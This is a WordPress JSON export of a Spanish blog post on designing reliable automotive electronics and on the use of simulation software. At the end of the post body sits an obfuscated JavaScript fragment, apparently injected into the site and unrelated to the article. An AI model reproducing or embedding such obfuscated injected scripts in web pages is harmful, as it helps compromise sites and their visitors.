{"id":774,"date":"2023-06-12T17:28:58","date_gmt":"2023-06-12T17:28:58","guid":{"rendered":"https:\/\/www.grupossc.com\/blog\/?p=774"},"modified":"2023-08-03T16:05:28","modified_gmt":"2023-08-03T16:05:28","slug":"4-ways-to-design-more-reliable-automotive-electronics","status":"publish","type":"post","link":"https:\/\/grupossc.com\/blog\/2023\/06\/12\/4-ways-to-design-more-reliable-automotive-electronics\/","title":{"rendered":"4 Formas de Dise\u00f1ar Componentes Automotrices Confiables"},"content":{"rendered":"<p>[vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Desde sistemas de gesti\u00f3n del motor (\u00edndice de inyecci\u00f3n de combustible, control de emisiones, sistemas de refrigeraci\u00f3n) y controles aut\u00f3nomos (carril, velocidad, asistente de aparcamiento, control de crucero adaptativo) hasta sistemas de informaci\u00f3n y entretenimiento y sistemas de confort (climatizador, ajuste electr\u00f3nico de asientos, limpiaparabrisas autom\u00e1ticos, etc.) , los veh\u00edculos modernos de gasolina y el\u00e9ctricos tienen m\u00e1s dispositivos electr\u00f3nicos que nunca.\u00a0De hecho, los microprocesadores y los chips que impulsan los veh\u00edculos modernos ahora son tan frecuentes que son pr\u00e1cticamente una mercanc\u00eda en la misma l\u00ednea que el acero y el aluminio.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\"><span style=\"font-weight: 400;\">Seg\u00fan un estudio de Deloitte,\u00a01\u00a0la electr\u00f3nica es responsable del 40 % del costo total de un autom\u00f3vil nuevo, con una expectativa de crecimiento del 45 % en los pr\u00f3ximos a\u00f1os.\u00a0Asegurar la confiabilidad de la electr\u00f3nica automotriz debe ser una prioridad para los dise\u00f1adores y fabricantes a medida que implementan nuevos modelos en el mercado.\u00a0El software de simulaci\u00f3n de Ansys puede ayudar a los fabricantes de equipos originales (OEM) y proveedores\u00a0<\/span><span style=\"font-weight: 400;\">a dise\u00f1ar para la confiabilidad (DfR)<\/span><span style=\"font-weight: 400;\">\u00a0desde el inicio de un proyecto, desde circuitos integrados (IC) hasta placas de circuito impreso (PCB) y gabinetes.<\/span><\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"font-weight: 400;\">Las cuatro categor\u00edas de electr\u00f3nica automotriz<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">La electr\u00f3nica automotriz generalmente se puede clasificar en cuatro categor\u00edas diferentes.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<\/p>\n<ul>\n<li><span style=\"color: #000000;\"><b>Electr\u00f3nica funcional<\/b>\u00a0(cr\u00edtica para la operaci\u00f3n del veh\u00edculo): sistemas de frenos antibloqueo (ABS), control de transmisi\u00f3n autom\u00e1tica, arrancadores, inyecci\u00f3n de combustible, faros y frenos de estacionamiento electromec\u00e1nicos.<\/span><\/li>\n<li><span style=\"color: #000000;\"><b>Electr\u00f3nica de cumplimiento normativo<\/b>\u00a0(obligatorio por NHTSA o DOT): bolsas de aire, controles de emisi\u00f3n, c\u00e1mara de marcha atr\u00e1s y radar de detecci\u00f3n de colisi\u00f3n.<\/span><\/li>\n<li><span style=\"color: #000000;\"><b>Electr\u00f3nica diferenciadora<\/b>\u00a0(tecnolog\u00edas \u00fanicas y orientadas al cliente): infoentretenimiento, control de crucero adaptativo, conectividad Wi-Fi y sistemas avanzados de asistencia al conductor (ADAS).<\/span><\/li>\n<li><span style=\"color: #000000;\"><b>Oportunidades de crecimiento<\/b>\u00a0(para veh\u00edculos en general): detecci\u00f3n de colisiones, pantallas en el tablero, pantallas de visualizaci\u00f3n frontal (HUD), sistemas de informaci\u00f3n y entretenimiento mejorados, comunicaci\u00f3n de veh\u00edculo a veh\u00edculo (V2V) y Wi-Fi mejorado.<\/span><\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Debido a la cantidad y variedad de componentes electr\u00f3nicos dentro de los entornos de uso de un autom\u00f3vil, incluidos ciclos de trabajo potencialmente mucho m\u00e1s largos para veh\u00edculos aut\u00f3nomos, y requisitos de vida \u00fatil m\u00e1s largos impulsados \u200b\u200bpor las demandas de los consumidores, los dise\u00f1adores y fabricantes de componentes electr\u00f3nicos automotrices deben considerar la validaci\u00f3n virtual junto con las pruebas f\u00edsicas para poder mantener los costos a un ritmo razonable y cumplir con los plazos de desarrollo cada vez m\u00e1s reducidos.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"font-weight: 400;\">Prueba de falla<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">El uso de la electr\u00f3nica no es nuevo, y otras industrias, como la electr\u00f3nica de consumo y la alta tecnolog\u00eda, deben cumplir una serie de requisitos, que incluyen:<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<\/p>\n<ul>\n<li><span style=\"color: #000000;\">Inmovilidad\/vibraci\u00f3n limitada<\/span><\/li>\n<li><span style=\"color: #000000;\">Poco o ning\u00fan choque mec\u00e1nico<\/span><\/li>\n<li><span style=\"color: #000000;\">Baja humedad\/temperaturas controladas de los entornos de oficina<\/span><\/li>\n<li><span style=\"color: #000000;\">Ciclos de trabajo predecibles<\/span><\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Si bien esas din\u00e1micas son ideales para, por ejemplo, la electr\u00f3nica del hogar, los factores estresantes a los que est\u00e1 expuesta la electr\u00f3nica del autom\u00f3vil son mucho m\u00e1s extremos, entre ellos:<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<\/p>\n<ul>\n<li><span style=\"color: #000000;\">Entornos m\u00f3viles hostiles<\/span><\/li>\n<li><span style=\"color: #000000;\">Grandes cambios de temperatura<\/span><\/li>\n<li><span style=\"color: #000000;\">Per\u00edodos sostenidos de vibraci\u00f3n y, en el caso de accidentes, choque repentino<\/span><\/li>\n<li><span style=\"color: #000000;\">Vidas m\u00e1s largas;\u00a0se espera que un autom\u00f3vil dure 10 a\u00f1os, a diferencia de un tel\u00e9fono celular o una computadora port\u00e1til<\/span><\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Combine esto con tama\u00f1os de funciones cada vez m\u00e1s reducidos, incluidos sensores ambientales y de movimiento, redes y sistemas inform\u00e1ticos a bordo y actuadores de control de veh\u00edculos. De repente, la previsibilidad del mejor rendimiento est\u00e1 en una escala m\u00f3vil durante uno, cinco o incluso 10 a\u00f1os de conducci\u00f3n, y la degradaci\u00f3n pasa factura.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"font-weight: 400;\">Dise\u00f1o de electr\u00f3nica automotriz m\u00e1s confiable<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Para dise\u00f1ar una electr\u00f3nica automotriz m\u00e1s confiable, hay una serie de mejores pr\u00e1cticas a considerar.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><strong>Elimine fallas durante las pruebas<\/strong><\/h4>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Hasta el 73 % de los costos de desarrollo de productos est\u00e1n atrapados en un ciclo de \u00abarreglar-fallar-arreglar-repetir\u00bb. Cuando los productos electr\u00f3nicos se someten a pruebas f\u00edsicas, pueden pasar por rondas de ciclos de dise\u00f1o para corregir los modos de falla descubiertos. Sin embargo, esto puede ser costoso y llevar mucho tiempo.La creaci\u00f3n de prototipos virtuales, o simulaci\u00f3n, es una de las mejores formas de probar fallas antes de que un producto se fabrique f\u00edsicamente.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\"><span style=\"font-weight: 400;\">Sin embargo, las simulaciones deben incluir\u00a0<\/span><span style=\"font-weight: 400;\">entradas de material<\/span><span style=\"font-weight: 400;\">\u00a0precisas y las condiciones de carga adecuadas para garantizar que los resultados de la simulaci\u00f3n coincidan lo m\u00e1s cerca posible de la realidad f\u00edsica.\u00a0Esto reduce los ciclos de dise\u00f1o al detectar fallas al principio de la fase de dise\u00f1o, lo que permite a los ingenieros realizar cambios en el dise\u00f1o antes de que se produzca un prototipo f\u00edsico.\u00a0La simulaci\u00f3n no reemplaza completamente las pruebas f\u00edsicas, pero puede reducir en gran medida la cantidad de pruebas realizadas.<\/span><\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><strong>Reutilizaci\u00f3n de ideas y activos de ingenier\u00eda<\/strong><\/h4>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Gran parte de la electr\u00f3nica automotriz fabricada puede aprovechar la reutilizaci\u00f3n del modelo.\u00a0Una vez que se crea un modelo confiable, se puede seguir reutilizando y optimizando para futuras versiones.\u00a0Este es un concepto que tambi\u00e9n se puede utilizar en simulaci\u00f3n, en la que los modelos de simulaci\u00f3n se pueden reutilizar y actualizar en funci\u00f3n de los nuevos requisitos de fiabilidad y seguridad.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">El beneficio de usar la simulaci\u00f3n para ayudar al dise\u00f1o es la variedad de configuraci\u00f3n y gesti\u00f3n de datos, visualizaci\u00f3n, transparencia y colaboraci\u00f3n que se proporciona.\u00a0Todos los modelos y resultados de simulaci\u00f3n se documentan para uso futuro, y los flujos de trabajo de automatizaci\u00f3n y optimizaci\u00f3n se pueden utilizar para facilitar las decisiones de dise\u00f1o.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Adem\u00e1s, tener una gesti\u00f3n de datos adecuada que sea transparente permite que diferentes departamentos (como los departamentos de ingenier\u00eda el\u00e9ctrica y mec\u00e1nica) trabajen juntos en un dise\u00f1o com\u00fan y garanticen que se cumplan todos los objetivos de confiabilidad entre departamentos y que los datos se transmitan de un lado a otro de manera eficiente.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><strong>Proveedores de Auditor\u00eda<\/strong><\/h4>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\"><span style=\"font-weight: 400;\">Si usted es un fabricante de equipos originales (OEM), tambi\u00e9n es sumamente importante auditar a sus proveedores de productos electr\u00f3nicos para autom\u00f3viles.\u00a0Desde el comienzo de la pandemia, las cadenas de suministro se han visto afectadas, particularmente dentro de la industria automotriz.\u00a0Las cadenas de suministro se han ralentizado, abriendo el camino para la proliferaci\u00f3n de\u00a0<\/span><span style=\"font-weight: 400;\">piezas falsificadas o alternativas<\/span><span style=\"font-weight: 400;\">\u00a0.\u00a0Desafortunadamente, a menudo es dif\u00edcil saber cu\u00e1ndo una pieza es falsificada.\u00a0Es importante auditar a su proveedor o realizar una revisi\u00f3n s\u00f3lida del dise\u00f1o de las piezas recibidas para asegurarse de que sean v\u00e1lidas.<\/span><\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><strong>Garantizar que la fabricaci\u00f3n cumpla con las especificaciones<\/strong><\/h4>\n<p>[\/vc_column_text][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"font-weight: 400; color: #000000;\">Hay una serie de especificaciones y requisitos que la electr\u00f3nica automotriz debe cumplir antes de que se incluyan en un proceso de fabricaci\u00f3n automotriz general. Algunas de esas especificaciones incluyen requisitos como el GMW 3172, VW 8000 y el est\u00e1ndar de seguridad ISO 26262 actualizados recientemente. La mayor\u00eda de estos est\u00e1ndares requieren que la electr\u00f3nica funcione a un nivel confiable a ciertas temperaturas, niveles de vibraci\u00f3n, niveles de humedad y m\u00e1s. Hay pruebas f\u00edsicas que se pueden realizar para garantizar que las piezas electr\u00f3nicas cumplan con estas especificaciones de confiabilidad, pero tambi\u00e9n hay flujos de trabajo de simulaci\u00f3n que se pueden usar para ver si un dise\u00f1o electr\u00f3nico cumplir\u00e1 con estos requisitos antes de que se construya un prototipo f\u00edsico. La mayor\u00eda de estos flujos de trabajo de simulaci\u00f3n incluyen multif\u00edsica e involucran varias herramientas de software diferentes.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_single_image image=\u00bb1008&#8243; img_size=\u00bbfull\u00bb alignment=\u00bbcenter\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text][\/vc_column_text][\/vc_column][\/vc_row]<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]Desde sistemas de gesti\u00f3n del motor (\u00edndice de inyecci\u00f3n de combustible, control de emisiones, sistemas de refrigeraci\u00f3n) y controles aut\u00f3nomos (carril, velocidad, asistente de aparcamiento, control de crucero adaptativo) hasta sistemas de informaci\u00f3n y entretenimiento y sistemas de confort (climatizador, ajuste electr\u00f3nico de asientos, limpiaparabrisas autom\u00e1ticos, etc.) , los veh\u00edculos modernos de gasolina y [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-774","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts\/774","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/comments?post=774"}],"version-history":[{"count":12,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts\/774\/revisions"}],"predecessor-version":[{"id":1048,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts\/774\/revisions\/1048"}],"wp:attachment":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/media?parent=774"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/categories?post=774"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/tags?post=774"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}